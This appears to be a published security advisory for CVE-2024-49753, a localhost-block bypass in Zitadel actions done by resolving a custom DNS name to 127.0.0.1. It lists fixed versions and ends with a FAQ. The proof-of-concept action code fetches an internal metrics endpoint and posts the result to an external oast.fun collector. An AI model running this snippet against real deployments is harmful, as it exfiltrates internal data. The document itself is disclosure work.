CVE-2024-49753: Denied Host Validation Bypass in Zitadel Actions
Summary A flaw in the URL validation mechanism of Zitadel actions allows bypassing restrictions intended to block requests to localhost (127.0.0.1). The isHostBlocked check, designed to prevent such requests, can be circumvented by creating a DNS record that resolves to 127.0.0.1. This enables actions to send requests to localhost despite the intended security measures.
Details While attempting to send a request directly to 127.0.0.1 via an action results in an error (see image below), the restriction can be bypassed using a custom DNS record. <img width="781" alt="image" src="https://github.com/user-attachments/assets/6d22dae8-407f-4420-a937-aca53d22d05d">
The relevant action code demonstrates the attempted request to 127.0.0.1: let http = require('zitadel/http') let logger = require("zitadel/log") function makeapicall(ctx, api) { var user = http.fetch('http://127.0.0.1:8080/debug/metrics');
var apir = http.fetch('https://obtjoiwgtaftuhbjugulyolvvxuvuuosq.oast.fun/test', { method: 'POST', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify({ 'data': user, }), }); logger.log(apir.body); }
By creating a DNS record that resolves a custom domain to 127.0.0.1 (illustrated below using messwithdns), the action can successfully send the request. !image
The modified action code uses the custom domain instead of 127.0.0.1: let http = require('zitadel/http') let logger = require("zitadel/log") function makeapicall(ctx, api) { var user = http.fetch('http://ok.jelly244.messwithdns.com:8080/debug/metrics');
var apir = http.fetch('https://obtjoiwgtaftuhbjugulyolvvxuvuuosq.oast.fun/test', { method: 'POST', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify({ 'user': user, }), }); logger.log(apir.body); }
!image
This demonstrates that data from the /debug/metrics API, intended to be restricted to localhost, can be fetched and sent to an external endpoint. !image
Impact
This vulnerability potentially allows unauthorized access to unsecured internal endpoints, which may contain sensitive information or functionalities. Patches
2.x versions are fixed on >= 2.64.1 2.63.x versions are fixed on >= 2.63.6 2.62.x versions are fixed on >= 2.62.8 2.61.x versions are fixed on >= 2.61.4 2.60.x versions are fixed on >= 2.60.4 2.59.x versions are fixed on >= 2.59.5 2.58.x versions are fixed on >= 2.58.7
Workarounds
There is no workaround since a patch is already available.
Questions
If you have any questions or comments about this advisory, please email us at security@zitadel.com
Credits
Thanks to @prdp1137 for reporting this!
Other sources
Zitadel is open-source identity infrastructure software. Versions prior to 2.64.1, 2.63.6, 2.62.8, 2.61.4, 2.60.4, 2.59.5, and 2.58.7 have a flaw in the URL validation mechanism of Zitadel actions allows bypassing restrictions intended to block requests to localhost (127.0.0.1). The isHostBlocked check, designed to prevent such requests, can be circumvented by creating a DNS record that resolves to 127.0.0.1. This enables actions to send requests to localhost despite the intended security measures. This vulnerability potentially allows unauthorized access to unsecured internal endpoints, which may contain sensitive information or functionalities. Versions 2.64.1, 2.63.6, 2.62.8, 2.61.4, 2.60.4, 2.59.5, and 2.58.7 contain a patch. No known workarounds are available.
— MITRE
Affected Software
Event History
Frequently Asked Questions
What is the severity of CVE-2024-49753?
CVE-2024-49753 is categorized with a moderate severity due to the potential for bypassing localhost restrictions.
How do I fix CVE-2024-49753?
To mitigate CVE-2024-49753, upgrade to Zitadel version 2.58.7 or later, including 2.59.5, 2.60.4, 2.61.4, 2.62.8, 2.63.6, or 2.64.1.
What systems are affected by CVE-2024-49753?
CVE-2024-49753 affects Zitadel versions prior to 2.58.7 and includes versions from 2.59.0 up to 2.59.5, among others.
What type of vulnerability is CVE-2024-49753?
CVE-2024-49753 is an authorization bypass vulnerability linked to the URL validation mechanism.
Can CVE-2024-49753 be exploited remotely?
Yes, CVE-2024-49753 can be exploited remotely, allowing attackers to bypass restrictions on localhost requests.